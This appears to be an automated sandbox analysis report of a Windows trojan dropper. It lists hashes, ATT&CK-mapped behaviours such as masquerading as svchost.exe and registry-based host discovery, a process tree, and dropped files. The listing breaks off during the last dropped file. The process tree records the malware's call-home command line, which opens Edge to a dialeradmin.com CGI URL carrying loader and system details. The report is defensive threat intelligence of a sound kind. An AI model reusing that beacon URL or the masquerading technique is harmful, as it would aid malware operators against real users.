a3dff6fbcc00ca403be19d52376a982f63ee6603a9c5e9ea7a3b78fca300f54b

Analysis

max time kernel
150s
max time network
143s
platform
windows10-2004_x64
resource
win10v2004-20260911-en
resource tags

arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
09/10/2026, 17:36

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
jaffacakes118_Trojan-Dropper.Win32.Briars.exe
Size 29KB
Sample261009-v62dvsdb59
SHA256 a3dff6fbcc00ca403be19d52376a982f63ee6603a9c5e9ea7a3b78fca300f54b
MD5 5027d9056c0bd11ca74ff9ec82f22d78
SHA1 dc58a4e86d31b1e091e754e9b7e384857fe8ff89
SHA512 94cc0420633c4edc516ab59ce9dccd944398b03c880af69d1d8108bb072e888289876e1226a53eaa30a5cf51cd1739898669f7a634b9a47c5bfc28981cfaa0b8
SSDEEP 768:rhhDndKTxc+olL80GfEetyQvEXQk4f5d6G2u2EXD0Ra:rz7KR28zse/sMl2IXD0c
TLSH
T14AD2D047F237E096CD8C0931521F9A7A3609FC62075AA2BD5AFA355CB834A00EE5172D
MD5 SHA1 SHA512 SSDEEP TLSH

Score

7^/10

defense_evasion discovery upx

Malware Config

Signatures

Executes a file named after a Windows system binary 1 TTPs 1 IoCs

The file runs from a user directory while carrying the name of an executable that normally only exists in System32.

defense_evasion

Match Legitimate Name or Location

T1036.005

description	ioc	Process
File opened (read-only)	C:\Users\Admin\AppData\Local\Temp\svchost.exe	svchost.exe

Executes dropped EXE 1 IoCs

pid	Process
3508	svchost.exe

Loads dropped DLL 1 IoCs

pid	Process
5236	msedge.exe

UPX packed file 19 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/4528-0-0x0000000000400000-0x0000000000410000-memory.dmp	upx
behavioral1/files/0x0005000000023432-3.dat	upx
behavioral1/memory/3508-4-0x0000000000400000-0x000000000040D000-memory.dmp	upx
behavioral1/memory/3508-44-0x0000000000400000-0x000000000040D000-memory.dmp	upx
behavioral1/memory/4528-144-0x0000000000400000-0x0000000000410000-memory.dmp	upx
behavioral1/memory/4528-156-0x0000000000400000-0x0000000000410000-memory.dmp	upx
behavioral1/memory/4528-186-0x0000000000400000-0x0000000000410000-memory.dmp	upx
behavioral1/memory/4528-195-0x0000000000400000-0x0000000000410000-memory.dmp	upx
behavioral1/memory/4528-197-0x0000000000400000-0x0000000000410000-memory.dmp	upx
behavioral1/memory/4528-222-0x0000000000400000-0x0000000000410000-memory.dmp	upx
behavioral1/memory/4528-223-0x0000000000400000-0x0000000000410000-memory.dmp	upx
behavioral1/memory/4528-228-0x0000000000400000-0x0000000000410000-memory.dmp	upx
behavioral1/memory/4528-250-0x0000000000400000-0x0000000000410000-memory.dmp	upx
behavioral1/memory/4528-270-0x0000000000400000-0x0000000000410000-memory.dmp	upx
behavioral1/memory/4528-293-0x0000000000400000-0x0000000000410000-memory.dmp	upx
behavioral1/memory/4528-294-0x0000000000400000-0x0000000000410000-memory.dmp	upx
behavioral1/memory/4528-315-0x0000000000400000-0x0000000000410000-memory.dmp	upx
behavioral1/memory/4528-333-0x0000000000400000-0x0000000000410000-memory.dmp	upx
behavioral1/memory/4528-334-0x0000000000400000-0x0000000000410000-memory.dmp	upx

Drops file in Program Files directory 8 IoCs

description	ioc	Process
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping5236_841210120\manifest.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping5236_1426171226\manifest.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping5236_1426171226\well_known_domains.dll	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping5236_1699993267\data.txt	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping5236_1699993267\manifest.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping5236_841210120\deny_domains.list	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping5236_841210120\deny_etld1_domains.list	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping5236_841210120\deny_full_domains.list	msedge.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Reads the TCP/IP host and domain name from the registry 1 TTPs 2 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	svchost.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	svchost.exe

System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	svchost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	jaffacakes118_Trojan-Dropper.Win32.Briars.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
4324	msedge.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	msedge.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-681733028-2344970462-962213935-1000\{7DEAB646-83D2-4F9B-B4D6-A4F6343743E9}	msedge.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4232	msedge.exe
4232	msedge.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 8 IoCs

pid	Process
5236	msedge.exe
5236	msedge.exe
5236	msedge.exe
5236	msedge.exe
5236	msedge.exe
5236	msedge.exe
5236	msedge.exe
5236	msedge.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
5236	msedge.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
4528	jaffacakes118_Trojan-Dropper.Win32.Briars.exe
4528	jaffacakes118_Trojan-Dropper.Win32.Briars.exe

Suspicious use of WriteProcessMemory 51 IoCs

description	pid	Process	procid_target
PID 4528 wrote to memory of 3508	4528	jaffacakes118_Trojan-Dropper.Win32.Briars.exe	84
PID 3508 wrote to memory of 5236	3508	svchost.exe	95
PID 5236 wrote to memory of 4220	5236	msedge.exe	96
PID 5236 wrote to memory of 4324	5236	msedge.exe	99
PID 5236 wrote to memory of 2504	5236	msedge.exe	100
PID 5236 wrote to memory of 2504	5236	msedge.exe	100
PID 5236 wrote to memory of 2504	5236	msedge.exe	100
PID 5236 wrote to memory of 2544	5236	msedge.exe	101
PID 5236 wrote to memory of 2544	5236	msedge.exe	101
PID 5236 wrote to memory of 5944	5236	msedge.exe	102
PID 5236 wrote to memory of 5944	5236	msedge.exe	102
PID 5236 wrote to memory of 5944	5236	msedge.exe	102
PID 5236 wrote to memory of 4300	5236	msedge.exe	103
PID 5236 wrote to memory of 4300	5236	msedge.exe	103
PID 5236 wrote to memory of 4300	5236	msedge.exe	103
PID 5236 wrote to memory of 5656	5236	msedge.exe	106
PID 5236 wrote to memory of 5656	5236	msedge.exe	106
PID 5236 wrote to memory of 5656	5236	msedge.exe	106
PID 5236 wrote to memory of 2624	5236	msedge.exe	107
PID 5236 wrote to memory of 2624	5236	msedge.exe	107
PID 5236 wrote to memory of 2624	5236	msedge.exe	107
PID 5236 wrote to memory of 3420	5236	msedge.exe	108
PID 5236 wrote to memory of 3420	5236	msedge.exe	108
PID 5236 wrote to memory of 4012	5236	msedge.exe	109
PID 5236 wrote to memory of 4012	5236	msedge.exe	109
PID 5236 wrote to memory of 904	5236	msedge.exe	111
PID 5236 wrote to memory of 2832	5236	msedge.exe	120
PID 5236 wrote to memory of 2832	5236	msedge.exe	120
PID 5236 wrote to memory of 2832	5236	msedge.exe	120
PID 5236 wrote to memory of 5696	5236	msedge.exe	124
PID 5236 wrote to memory of 3556	5236	msedge.exe	125
PID 5236 wrote to memory of 316	5236	msedge.exe	126
PID 5236 wrote to memory of 1120	5236	msedge.exe	128
PID 5236 wrote to memory of 1120	5236	msedge.exe	128
PID 5236 wrote to memory of 1120	5236	msedge.exe	128
PID 5236 wrote to memory of 1332	5236	msedge.exe	130
PID 5236 wrote to memory of 1332	5236	msedge.exe	130
PID 5236 wrote to memory of 4068	5236	msedge.exe	133
PID 5236 wrote to memory of 4068	5236	msedge.exe	133
PID 5236 wrote to memory of 5492	5236	msedge.exe	136
PID 5236 wrote to memory of 5492	5236	msedge.exe	136
PID 5236 wrote to memory of 5376	5236	msedge.exe	137
PID 5236 wrote to memory of 5376	5236	msedge.exe	137
PID 5236 wrote to memory of 1188	5236	msedge.exe	138
PID 5236 wrote to memory of 1188	5236	msedge.exe	138
PID 5236 wrote to memory of 1188	5236	msedge.exe	138
PID 5236 wrote to memory of 2436	5236	msedge.exe	140
PID 5236 wrote to memory of 2436	5236	msedge.exe	140
PID 5236 wrote to memory of 4232	5236	msedge.exe	141
PID 5236 wrote to memory of 4544	5236	msedge.exe	142
PID 5236 wrote to memory of 4544	5236	msedge.exe	142

C:\Users\Admin\AppData\Local\Temp\jaffacakes118_Trojan-Dropper.Win32.Briars.exe
"C:\Users\Admin\AppData\Local\Temp\jaffacakes118_Trojan-Dropper.Win32.Briars.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4528
- C:\Users\Admin\AppData\Local\Temp\svchost.exe
  "C:\Users\Admin\AppData\Local\Temp\\svchost.exe"
  2⤵
  - Executes a file named after a Windows system binary
  - Executes dropped EXE
  - Reads the TCP/IP host and domain name from the registry
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:3508
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument http://www.dialeradmin.com/cgi-bin/err4.cgi?prog=ldr&ver=4.000&code=9&info=&aid=122448&skid=sk008&langid=&winver=Windows+NT+6.2;9200;9.11.19041.0&ci=1-12
    3⤵
    - Loads dropped DLL
    - Drops file in Program Files directory
    - Checks processor information in registry
    - Enumerates system info in registry
    - Modifies registry class
    - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of WriteProcessMemory
    PID:5236
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x2c4,0x2c8,0x2cc,0x2c0,0x35c,0x7ffcb339c188,0x7ffcb339c194,0x7ffcb339c1a0
      4⤵
      PID:4220
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2000,i,8478461153692241155,3167926885072579964,524288 --field-trial-handle=2652,i,1316736265064243373,5240041056692497174,262144 --variations-seed-version --mojo-platform-channel-handle=2680 /prefetch:3
      4⤵
      System Time Discovery
      PID:4324
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1616,i,14575980422850225124,11358119834106051396,262144 --field-trial-handle=2652,i,1316736265064243373,5240041056692497174,262144 --variations-seed-version --mojo-platform-channel-handle=2648 /prefetch:2
      4⤵
      PID:2504
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2116,i,6370792991252683406,467269438054275109,524288 --field-trial-handle=2652,i,1316736265064243373,5240041056692497174,262144 --variations-seed-version --mojo-platform-channel-handle=3012 /prefetch:8
      4⤵
      PID:2544
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3380,i,2362839143360015367,5662403297008749424,2097152 --field-trial-handle=2652,i,1316736265064243373,5240041056692497174,262144 --variations-seed-version --mojo-platform-channel-handle=3412 /prefetch:1
      4⤵
      PID:5944
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3384,i,12877686326685292211,1962854905355182445,2097152 --field-trial-handle=2652,i,1316736265064243373,5240041056692497174,262144 --variations-seed-version --mojo-platform-channel-handle=3440 /prefetch:1
      4⤵
      PID:4300
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4876,i,3426302567594758340,9507554915748194754,2097152 --field-trial-handle=2652,i,1316736265064243373,5240041056692497174,262144 --variations-seed-version --mojo-platform-channel-handle=4884 /prefetch:1
      4⤵
      PID:5656
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=3880,i,6727349255283083651,17030507866008733466,2097152 --field-trial-handle=2652,i,1316736265064243373,5240041056692497174,262144 --variations-seed-version --mojo-platform-channel-handle=4764 /prefetch:1
      4⤵
      PID:2624
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4868,i,8691610227284861994,13128990366083144084,524288 --field-trial-handle=2652,i,1316736265064243373,5240041056692497174,262144 --variations-seed-version --mojo-platform-channel-handle=5108 /prefetch:8
      4⤵
      PID:3420
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4792,i,3520213247926332122,2050621869813392921,524288 --field-trial-handle=2652,i,1316736265064243373,5240041056692497174,262144 --variations-seed-version --mojo-platform-channel-handle=5088 /prefetch:8
      4⤵
      PID:4012
  - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5796,i,5340847781723014812,11623764836271876843,524288 --field-trial-handle=2652,i,1316736265064243373,5240041056692497174,262144 --variations-seed-version --mojo-platform-channel-handle=5816 /prefetch:8
      4⤵
      PID:1436
  - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5796,i,5340847781723014812,11623764836271876843,524288 --field-trial-handle=2652,i,1316736265064243373,5240041056692497174,262144 --variations-seed-version --mojo-platform-channel-handle=5816 /prefetch:8
      4⤵
      PID:904
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --always-read-main-dll --metrics-shmem-handle=4956,i,6510810404451611416,15831076070875885675,2097152 --field-trial-handle=2652,i,1316736265064243373,5240041056692497174,262144 --variations-seed-version --mojo-platform-channel-handle=4944 /prefetch:1
      4⤵
      PID:2832
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5812,i,701184752321526973,7102000135842133333,524288 --field-trial-handle=2652,i,1316736265064243373,5240041056692497174,262144 --variations-seed-version --mojo-platform-channel-handle=5820 /prefetch:8
      4⤵
      PID:5696
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5876,i,9791142520322487856,1726877993263365247,524288 --field-trial-handle=2652,i,1316736265064243373,5240041056692497174,262144 --variations-seed-version --mojo-platform-channel-handle=3880 /prefetch:8
      4⤵
      PID:3556
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6160,i,10540312778317886881,3160733596454428692,524288 --field-trial-handle=2652,i,1316736265064243373,5240041056692497174,262144 --variations-seed-version --mojo-platform-channel-handle=5872 /prefetch:8
      4⤵
      PID:316
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --always-read-main-dll --metrics-shmem-handle=2844,i,6063657467411169918,254373992314546018,2097152 --field-trial-handle=2652,i,1316736265064243373,5240041056692497174,262144 --variations-seed-version --mojo-platform-channel-handle=5044 /prefetch:1
      4⤵
      PID:1120
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-US --service-sandbox-type=search_indexer --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5156,i,6517091055759205903,16308177683210288728,524288 --field-trial-handle=2652,i,1316736265064243373,5240041056692497174,262144 --variations-seed-version --mojo-platform-channel-handle=4940 /prefetch:8
      4⤵
      PID:1332
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5020,i,12863124189779487625,13874295829011426384,524288 --field-trial-handle=2652,i,1316736265064243373,5240041056692497174,262144 --variations-seed-version --mojo-platform-channel-handle=5960 /prefetch:8
      4⤵
      PID:4068
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5344,i,11778579916224932874,15942447434921457585,524288 --field-trial-handle=2652,i,1316736265064243373,5240041056692497174,262144 --variations-seed-version --mojo-platform-channel-handle=5100 /prefetch:8
      4⤵
      PID:5492
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5348,i,5364777155945756218,8722513651077585287,524288 --field-trial-handle=2652,i,1316736265064243373,5240041056692497174,262144 --variations-seed-version --mojo-platform-channel-handle=5328 /prefetch:8
      4⤵
      PID:5376
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --always-read-main-dll --metrics-shmem-handle=6228,i,13325809208468080144,11312022891784965727,2097152 --field-trial-handle=2652,i,1316736265064243373,5240041056692497174,262144 --variations-seed-version --mojo-platform-channel-handle=6004 /prefetch:1
      4⤵
      PID:1188
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3848,i,11427006297605777813,13663476444611729039,524288 --field-trial-handle=2652,i,1316736265064243373,5240041056692497174,262144 --variations-seed-version --mojo-platform-channel-handle=6224 /prefetch:8
      4⤵
      PID:2436
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=6264,i,3651337767875188765,12700208480986331956,262144 --field-trial-handle=2652,i,1316736265064243373,5240041056692497174,262144 --variations-seed-version --mojo-platform-channel-handle=6188 /prefetch:8
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:4232
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5424,i,13521642177173437496,15729149494837436241,524288 --field-trial-handle=2652,i,1316736265064243373,5240041056692497174,262144 --variations-seed-version --mojo-platform-channel-handle=6080 /prefetch:8
      4⤵
      PID:4544

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:332

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start
1⤵
PID:4468

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Masquerading

T1036

Match Legitimate Name or Location

T1036.005

Credential Access

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

System Time Discovery

T1124

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

well_known_domains.dll

Path C:\Program Files\chrome_Unpacker_BeginUnzipping5236_1426171226\well_known_domains.dll
Size 86KB
SHA256 f63a806e2b89ed1db25687026abff5df4675a82a13882cdb2a47d1b08d2c996e
MD5 94e3e395b95eed4fe8857e0258d62491
SHA1 0e9bb0173cb2df4be5eea77cef5a09bb5b3116b3
SHA512 b680ece7a8b72a6f78a1643ee52a606fe7a094fe058bac041c25b775dd472834a1df349d45594a11fe6eb4c41d083bdb9809e944d9ff254d795f04e177ac19d7
SSDEEP 1536:HJxEzwtlOEMkVXvopF0BYDfBny/nXi7IruMPzEVWHxgeBz4:HA2DMggpuusPXBuEuaxgEc
TLSH
T17583F14A7AAC149BE9EB8674E2645E17BB72775B071893EF1342D0040DF73C1AE35A38
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

data.txt

Path C:\Program Files\chrome_Unpacker_BeginUnzipping5236_1699993267\data.txt
Size 152KB
SHA256 bf2c0a94df6f6a32ea1072e61ed3767c23fb8b3e864b0f6144f65c4b8e477338
MD5 6dd40551f20e2c6ad5dc991e60a7d4cb
SHA1 1147d32c228d4def80fb6415d1f58c1edad29055
SHA512 0d654ba49f9c53349b90cd2ce15424477b9c06ae3ae7bcfa09f61e12607f94750cc065d85458e985632f7c316e79d3b9ff279248fa1e6e4181f16e37ab31023c
SSDEEP 3072:GPAgDcCHaLHl65aynyosxb3+BLvf5yTewIjNq/eq:6X1aI5aZoKzMD4Ajy
TLSH
T19FE3F2608EC45F99CFE4292C90BF1F1A63E18BCD811A698EDB63FD066FA7A0415271D4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

deny_etld1_domains.list

Path C:\Program Files\chrome_Unpacker_BeginUnzipping5236_841210120\deny_etld1_domains.list
Size 6KB
SHA256 2a9b59ec22bbd49e4475d2d350d496023551953c8b5ebe97266aefe51a0c5c36
MD5 3ca9dab6be71da08f51aede14b0e900c
SHA1 2ca6be97955e3c31a0f3f3cef0182fca93db171e
SHA512 16c2e3694f48b8695eb725969d89669bbb1b7b01cf5fe1fa4e69aa919050ad6d60ce47e8fc18b030c94b15d171543420338700226dfd13bf226b74aa85de5539
SSDEEP 192:7y+Ncyo37Cu1+F8/fi3E6Cfr/z+lhLg3ZRfceMBjcvXmgqqE7:7Tc3bqUB/z+l1g3ZmeTfmf7
TLSH
T15FD19FE4B7F1C94D5DE027C9DE7E204B3B9286A7D228F86022319C27023F33C194A651
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

deny_full_domains.list

Path C:\Program Files\chrome_Unpacker_BeginUnzipping5236_841210120\deny_full_domains.list
Size 12KB
SHA256 f154d0bc65cd130b16d1b6471df8ed2841b2f2f6d90e9912b73b37985062e623
